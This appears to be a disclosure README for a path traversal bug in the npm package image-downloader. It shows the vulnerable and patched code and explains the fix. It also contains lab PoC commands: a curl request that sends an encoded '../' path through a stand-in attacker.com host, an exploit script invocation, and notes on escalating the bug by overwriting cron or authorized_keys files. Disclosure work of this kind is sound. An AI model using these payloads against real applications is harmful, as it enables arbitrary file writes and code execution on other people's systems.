Discovered by: Amirhossein Roustaei (@EterNullSec) β Eternull Security
π Full technical writeup: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal
β οΈ Educational Purposes Only. This repository documents a responsibly disclosed vulnerability. All PoC code is intended for authorized security research and testing in isolated lab environments only. Do not use against systems you do not own or have explicit written permission to test.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-103648 |
| NVD Entry | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| CVSS v3.1 Score | 9.1 Critical β CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory |
| Package | image-downloader (npm) by demsking |
| Weekly npm downloads | ~11,000 (~38,000/month) β source |
| Affected Versions | < 4.3.1 (all versions including 4.3.0) |
| Fixed Version | 4.3.1 |
| Assigned By | GitLab |
| Published | 2026-10-02 |
| Reporter | Amirhossein Roustaei (@EterNullSec), Eternull Security |
The vulnerability is in image-downloader@4.3.0's filename-extraction logic. This is the actual source of the affected version (index.js, pulled directly from the published npm package):
// image-downloader@4.3.0 β index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // β basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};path.basename(pathname)is called on the still percent-encoded URL pathname. A sequence like%2e%2e%2fpwned.shcontains no literal/, sopath.basename()treats the whole thing as a single filename and returns it unchanged β nothing gets stripped.- The result is then passed through
decodeURIComponent(). This is the step that turns%2e%2e%2fback into a literal../β but by now it has already survived the basename step that was supposed to sanitize it. path.join(options.dest, decodedBasename)is called with a string that now contains a real../segment.path.join()normalizes..the same waycd ..would β so the final write path resolves to a location outsideoptions.dest.
In short: the code decodes the filename in the right way, just in the wrong order relative to path.basename(). Decode-then-basename is safe; basename-then-decode is not.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged β no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
β resolves one directory ABOVE dest
Attack Vector: Network (AV:N) β remotely triggerable
Attack Complexity: Low (AC:L) β no special conditions
Privileges Required: None (PR:N) β no authentication needed
User Interaction: None (UI:N) β fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) β arbitrary file write
Availability: High (A:H) β overwrite critical files / DoS
This lab demonstrates the mechanism of the bug end-to-end in a single script for ease of reproduction, but it's worth stating the real-world attack model explicitly:
- Victim: any application that calls
image-downloader'sdownload.image({ url, dest })with aurlvalue it did not fully control itself β e.g. a URL submitted by a user (avatar/image import features), pulled from a webhook payload, or read from an RSS/content feed. - Attacker: controls (or can redirect to) the HTTP server the victim's
urlpoints at, and controls the path component of that URL β which is enough on its own, since the traversal lives in the URL path (%2e%2e%2f...), not in the response body. - Impact: the victim process writes a file of the attacker's choosing to a path of the attacker's choosing, outside the directory the developer intended β in containers or scripts running with broad filesystem access, this routinely escalates to code execution (e.g. overwriting a cron file, an
authorized_keysfile, or an executable the app later runs).
In exploit/exploit.py, the attacker and victim roles are collapsed into one script for lab convenience (it stands up both the "victim" server request and the attacker-controlled payload server). In a real exploitation scenario these are two separate, unrelated parties β the PoC is structured this way purely so the vulnerability is reproducible with a single command.
- Docker & Docker Compose OR Node.js v18+
- Python 3.x (for the exploit script)
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --buildThe vulnerable server will be available at http://localhost:3000.
cd vulnerable-app/
npm install
node server.jscd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1Or manually with curl (the traversal is in the URL path, not the response body):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
[*] CVE-2026-103648 β image-downloader Path Traversal PoC
[*] Target : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec
Fixed in 4.3.1 (commit fb44543). This is the actual patched source:
// image-downloader@4.3.1 β index.js (actual source, unmodified)
const filenameFromPathname = (pathname) => {
const decoded = decodeURIComponent(pathname); // β
decode FIRST
if (decoded.includes('\0')) {
throw invalidFilename('the URL path contains a NUL byte');
}
return path.basename(decoded); // β
THEN basename
};
const isInside = (file, directory) => {
const relative = path.relative(directory, file);
return relative !== '' &&
relative !== '..' &&
!relative.startsWith(`..${path.sep}`) &&
!path.isAbsolute(relative);
};
// ... inside module.exports.image:
const resolved = path.join(directory, filenameFromPathname(new URL(options.url).pathname));
if (!isInside(resolved, directory)) {
return Promise.reject(invalidFilename('the URL path does not resolve to a file inside options.dest'));
}Three-layer defense:
- Decode before basename β the exact ordering bug is fixed by swapping the two operations.
- NUL-byte rejection β defends against filename truncation tricks on some filesystem syscalls.
path.relative()containment check β a belt-and-suspenders validation that rejects the result outright if it doesn't resolve strictly insidedest, even if a future change reintroduces an ordering bug.
| Date | Event |
|---|---|
| 2026-10-01 | CVE reserved (GitLab, as CNA) |
| 2026-10-02 | Patch released in image-downloader@4.3.1 |
| 2026-10-02 | CVE-2026-103648 published (MITRE/NVD) |
| 2026-10-03 | Public PoC repository and write-up released |
- Full Writeup β Eternull Security
- CVE Record β cve.org
- NVD Entry
- GitLab Issue #32
- Fix Commit fb44543
- CWE-22 Definition
- OWASP Path Traversal
- npm Package
Amirhossein Roustaei
- Portfolio: roustaei.info
- GitHub: @EterNullSec
- Email: amir@eternull.ink
- Organization: Eternull Security